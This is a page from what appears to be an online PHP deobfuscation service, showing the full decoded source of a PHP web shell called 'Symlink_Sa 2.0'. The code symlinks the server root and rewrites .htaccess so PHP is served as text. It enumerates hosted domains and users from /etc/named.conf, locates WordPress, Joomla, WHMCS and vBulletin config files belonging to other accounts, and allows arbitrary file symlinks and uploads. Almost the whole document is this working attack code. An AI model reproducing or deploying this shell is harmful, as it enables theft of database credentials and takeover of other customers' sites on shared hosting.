Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php echo ' '; @set_time_limit(0); $IIIIIIIIIIIl = 'http://' . $_SERVER['SERVER_NAME'] ..
Decoded Output download
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Symlink_Sa 2.0</title>
<style type="text/css">
html,body {
margin: 0;
padding: 0;
outline: 0;
}
body {
direction: ltr;
background-color:#F4F4F4;
color: rgb(153, 153, 153);
text-align: center
}
input,textarea,select{
font-weight: bold;
color: #111111;
dashed #ffffff;
border: 1px
solid #BBBBBB;
background-color: #DDDDDD;
}
.hedr {
font-family: Tahoma, Arial, sans-serif ;
font-size: 22px;
}
.cont a{
text-decoration: none;
color:rgb(153, 153, 153);
font-family: Tahoma, Arial, sans-serif ;
font-size: 16px;
text-shadow: 0px 0px 3px ;
}
.cont a:hover{
color: #EEEEEE ;
text-shadow:0px 0px 3px #000000 ;
}
.tmp tr td{
border: solid 1px #BBBBBB;
padding: 2px ;
font-size: 13px;
}
.tmp tr td a {
text-decoration: none;
}
.foter{
font-size: 9pt;
color: #AAAAAA ;
text-align: center
}
.tmp tr td:hover{
box-shadow: 0px 0px 4px #888888;
}
.fot{
font-family:Tahoma, Arial, sans-serif;
font-size: 13pt;
}
.ir {
color: #FF0000;
}
</style>
</head>
<body>
<div class='all'>
Did this file decode correctly?
Original Code
<?php echo ' ';
@set_time_limit(0);
$IIIIIIIIIIIl = 'http://' . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];
$IIIIIIIIIII1 = explode('/', $IIIIIIIIIIIl);
$IIIIIIIIIIIl = str_replace($IIIIIIIIIII1[count($IIIIIIIIIII1) - 1], '', $IIIIIIIIIIIl);;
echo ' <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Symlink_Sa 2.0</title>
<style type="text/css">
html,body {
margin: 0;
padding: 0;
outline: 0;
}
body {
direction: ltr;
background-color:#F4F4F4;
color: rgb(153, 153, 153);
text-align: center
}
input,textarea,select{
font-weight: bold;
color: #111111;
dashed #ffffff;
border: 1px
solid #BBBBBB;
background-color: #DDDDDD;
}
.hedr {
font-family: Tahoma, Arial, sans-serif ;
font-size: 22px;
}
.cont a{
text-decoration: none;
color:rgb(153, 153, 153);
font-family: Tahoma, Arial, sans-serif ;
font-size: 16px;
text-shadow: 0px 0px 3px ;
}
.cont a:hover{
color: #EEEEEE ;
text-shadow:0px 0px 3px #000000 ;
}
.tmp tr td{
border: solid 1px #BBBBBB;
padding: 2px ;
font-size: 13px;
}
.tmp tr td a {
text-decoration: none;
}
.foter{
font-size: 9pt;
color: #AAAAAA ;
text-align: center
}
.tmp tr td:hover{
box-shadow: 0px 0px 4px #888888;
}
.fot{
font-family:Tahoma, Arial, sans-serif;
font-size: 13pt;
}
.ir {
color: #FF0000;
}
</style>
</head>
<body>
<div class=\'all\'>
';
@mkdir('sym', 0777);
$IIIIIIIIIIl1 = "Options all
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any";
$IIIIIIIIII1I = @fopen('sym/.htaccess', 'w');
fwrite($IIIIIIIIII1I, $IIIIIIIIIIl1);
@symlink('/', 'sym/root');
$IIIIIIIIIlIl = basename('index.php');
echo '<br /><div class="hedr"> Symlink Sa 2.0 <br /></div>';
echo '<br /><div class="hedr">-:[ User & Domains & Symlink ]:-<br /><br /></div>';
echo '<div class="cont">
[<a href="?"> Home </a>]
[<a href="?sws=sym"> User & Domains & Symlink </a>]
[<a href="?sws=sec"> Domains & Script </a>]
[ <a href="?sws=file"> Symlink File </a>]<br /><br /><br />
</div>';
if (isset($_REQUEST['sws'])) {
switch ($_REQUEST['sws']) {
case 'sec':
$IIIIIIIIIllI = @file('/etc/named.conf');
if (!$IIIIIIIIIllI) {
die(" can't read /etc/named.conf");
} else {
echo "<div class='tmp'>
<table align='center' width='40%'><td> Domains </td><td> Script </td>";
foreach ($IIIIIIIIIllI as $IIIIIIIIIll1) {
if (eregi('zone', $IIIIIIIIIll1)) {
preg_match_all('#zone "(.*)"#', $IIIIIIIIIll1, $IIIIIIIIIl11);
flush();
if (strlen(trim($IIIIIIIIIl11[1][0])) > 2) {
$IIIIIIIII1I1 = posix_getpwuid(@fileowner('/etc/valiases/' . $IIIIIIIIIl11[1][0]));
$IIIIIIIII1l1 = $IIIIIIIIIIIl . '/sym/root/home/' . $IIIIIIIII1I1['name'] . '/public_html/wp-config.php';
$IIIIIIIII11I = get_headers($IIIIIIIII1l1);
$IIIIIIIII11l = $IIIIIIIII11I[0];
$IIIIIIIII111 = $IIIIIIIIIIIl . '/sym/root/home/' . $IIIIIIIII1I1['name'] . '/public_html/blog/wp-config.php';
$IIIIIIIIlIII = get_headers($IIIIIIIII111);
$IIIIIIIIlIIl = $IIIIIIIIlIII[0];
$IIIIIIIIlII1 = $IIIIIIIIIIIl . '/sym/root/home/' . $IIIIIIIII1I1['name'] . '/public_html/configuration.php';
$IIIIIIIIlIlI = get_headers($IIIIIIIIlII1);
$IIIIIIIIlIll = $IIIIIIIIlIlI[0];
$IIIIIIIIlIl1 = $IIIIIIIIIIIl . '/sym/root/home/' . $IIIIIIIII1I1['name'] . '/public_html/joomla/configuration.php';
$IIIIIIIIlI1I = get_headers($IIIIIIIIlIl1);
$IIIIIIIIlI1l = $IIIIIIIIlI1I[0];
$IIIIIIIIlI11 = $IIIIIIIIIIIl . '/sym/root/home/' . $IIIIIIIII1I1['name'] . '/public_html/includes/config.php';
$IIIIIIIIllII = get_headers($IIIIIIIIlI11);
$IIIIIIIIllIl = $IIIIIIIIllII[0];
$IIIIIIIIllI1 = $IIIIIIIIIIIl . '/sym/root/home/' . $IIIIIIIII1I1['name'] . '/public_html/vb/includes/config.php';
$IIIIIIIIlllI = get_headers($IIIIIIIIllI1);
$IIIIIIIIllll = $IIIIIIIIlllI[0];
$IIIIIIIIlll1 = $IIIIIIIIIIIl . '/sym/root/home/' . $IIIIIIIII1I1['name'] . '/public_html/forum/includes/config.php';
$IIIIIIIIll1I = get_headers($IIIIIIIIlll1);
$IIIIIIIIll1l = $IIIIIIIIll1I[0];
$IIIIIIIIll11 = $IIIIIIIIIIIl . '/sym/root/home/' . $IIIIIIIII1I1['name'] . 'public_html/clients/configuration.php';
$IIIIIIIIl1II = get_headers($IIIIIIIIll11);
$IIIIIIIIl1Il = $IIIIIIIIl1II[0];
$IIIIIIIIl1I1 = $IIIIIIIIIIIl . '/sym/root/home/' . $IIIIIIIII1I1['name'] . '/public_html/support/configuration.php';
$IIIIIIIIl1II = get_headers($IIIIIIIIl1I1);
$IIIIIIIIl1lI = $IIIIIIIIl1II[0];
$IIIIIIIIl1ll = $IIIIIIIIIIIl . '/sym/root/home/' . $IIIIIIIII1I1['name'] . '/public_html/client/configuration.php';
$IIIIIIIIl1l1 = get_headers($IIIIIIIIl1ll);
$IIIIIIIIl11I = $IIIIIIIIl1l1[0];
$IIIIIIIIl11l = $IIIIIIIIIIIl . '/sym/root/home/' . $IIIIIIIII1I1['name'] . '/public_html/submitticket.php';
$IIIIIIIIl111 = get_headers($IIIIIIIIl11l);
$IIIIIIII1III = $IIIIIIIIl111[0];
$IIIIIIII1IIl = $IIIIIIIIIIIl . '/sym/root/home/' . $IIIIIIIII1I1['name'] . '/public_html/client/configuration.php';
$IIIIIIII1II1 = get_headers($IIIIIIII1IIl);
$IIIIIIII1IlI = $IIIIIIII1II1[0];
$IIIIIIII1Ill = strpos($IIIIIIIII11l, '200');
$IIIIIIII1I1I = ' ';
if (strpos($IIIIIIIII11l, '200') == true) {
$IIIIIIII1I1I = "<a href='" . $IIIIIIIII1l1 . "' target='_blank'>Wordpress</a>";
} elseif (strpos($IIIIIIIIlIIl, '200') == true) {
$IIIIIIII1I1I = "<a href='" . $IIIIIIIII111 . "' target='_blank'>Wordpress</a>";
} elseif (strpos($IIIIIIIIlIll, '200') == true and strpos($IIIIIIII1III, '200') == true) {
$IIIIIIII1I1I = " <a href='" . $IIIIIIIIl11l . "' target='_blank'>WHMCS</a>";
} elseif (strpos($IIIIIIIIl1lI, '200') == true) {
$IIIIIIII1I1I = " <a href='" . $IIIIIIIIl1I1 . "' target='_blank'>WHMCS</a>";
} elseif (strpos($IIIIIIIIl11I, '200') == true) {
$IIIIIIII1I1I = " <a href='" . $IIIIIIIIl1ll . "' target='_blank'>WHMCS</a>";
} elseif (strpos($IIIIIIIIlIll, '200') == true) {
$IIIIIIII1I1I = " <a href='" . $IIIIIIIIlII1 . "' target='_blank'>Joomla</a>";
} elseif (strpos($IIIIIIIIlI1l, '200') == true) {
$IIIIIIII1I1I = " <a href='" . $IIIIIIIIlIl1 . "' target='_blank'>Joomla</a>";
} elseif (strpos($IIIIIIIIllIl, '200') == true) {
$IIIIIIII1I1I = " <a href='" . $IIIIIIIIlI11 . "' target='_blank'>vBulletin</a>";
} elseif (strpos($IIIIIIIIllll, '200') == true) {
$IIIIIIII1I1I = " <a href='" . $IIIIIIIIllI1 . "' target='_blank'>vBulletin</a>";
} elseif (strpos($IIIIIIIIll1l, '200') == true) {
$IIIIIIII1I1I = " <a href='" . $IIIIIIIIlll1 . "' target='_blank'>vBulletin</a>";
} else {
continue;
}
$IIIIIIII1I1l = $IIIIIIIII1I1['name'];
echo '<tr><td><a href=http://www.' . $IIIIIIIIIl11[1][0] . '/>' . $IIIIIIIIIl11[1][0] . '</a></td>
<td>' . $IIIIIIII1I1I . '</td></tr>';
flush();
}
}
}
}
break;
case 'sym':
$IIIIIIIIIllI = @file('/etc/named.conf');
if (!$IIIIIIIIIllI) {
die(" can't read /etc/named.conf");
} else {
echo "<div class='tmp'><table align='center' width='40%'><td>Domains</td><td>Users</td><td>symlink </td>";
foreach ($IIIIIIIIIllI as $IIIIIIIIIll1) {
if (eregi('zone', $IIIIIIIIIll1)) {
preg_match_all('#zone "(.*)"#', $IIIIIIIIIll1, $IIIIIIIIIl11);
flush();
if (strlen(trim($IIIIIIIIIl11[1][0])) > 2) {
$IIIIIIIII1I1 = posix_getpwuid(@fileowner('/etc/valiases/' . $IIIIIIIIIl11[1][0]));
$IIIIIIII1I1l = $IIIIIIIII1I1['name'];
@symlink('/', 'sym/root');
$IIIIIIII1I1l = $IIIIIIIIIl11[1][0];
$IIIIIIII1I11 = '\.ir';
$IIIIIIII1lII = '\.il';
if (eregi("$IIIIIIII1I11", $IIIIIIIIIl11[1][0]) or eregi("$IIIIIIII1lII", $IIIIIIIIIl11[1][0])) {
$IIIIIIII1I1l = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>" . $IIIIIIIIIl11[1][0] . '</div>';
}
echo "
<tr>
<td>
<div class='dom'><a target='_blank' href=http://www." . $IIIIIIIIIl11[1][0] . '/>' . $IIIIIIII1I1l . ' </a> </div>
</td>
<td>
' . $IIIIIIIII1I1['name'] . "
</td>
<td>
<a href='sym/root/home/" . $IIIIIIIII1I1['name'] . "/public_html' target='_blank'>symlink </a>
</td>
</tr></div> ";
flush();
}
}
}
}
break;
case 'file':
echo '
The file path to symlink
<br /><br />
<form method="post">
<input type="text" name="file" value="/home/user/public_html/file.name" size="60"/><br /><br />
<input type="text" name="symfile" value="file.name_sym ( Ex. :: 1.txt )" size="60"/><br /><br />
<input type="submit" value="symlink" name="symlink" /> <br /><br />
</form>
';
$IIIIIIII1lIl = $_POST['file'];
$symfile = $_POST['symfile'];
$symlink = $_POST['symlink'];
if ($symlink) {
@symlink("$IIIIIIII1lIl", "sym/$symfile");
echo '<br /><a target="_blank" href="sym/' . $symfile . '" >' . $symfile . '</a>';
}
break;
default:
header("Location: $IIIIIIIIIlIl");
}
} else {
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" value="Choose file" size="60" ><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if ($_POST['_upl'] == 'Upload') {
if (@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) {
echo '<br /><br /><b>Uploaded successful !!<br><br>';
} else {
echo '<br /><br />Not uploaded !!<br><br>';
}
}
echo '
<br /><br /><div class="fot">Cod3d by Mr.Alsa3ek and Al-Swisre
<br /><br />
Muslims Hackers</div> ';
};
echo '
</div>
</body>
</html>
';
Function Calls
| count | 1 |
| mkdir | 1 |
| explode | 1 |
| str_replace | 1 |
| set_time_limit | 1 |
Stats
| MD5 | 7779ac16e41be6c4d9a7b3e1f0ac59c6 |
| Eval Count | 0 |
| Decode Time | 98 ms |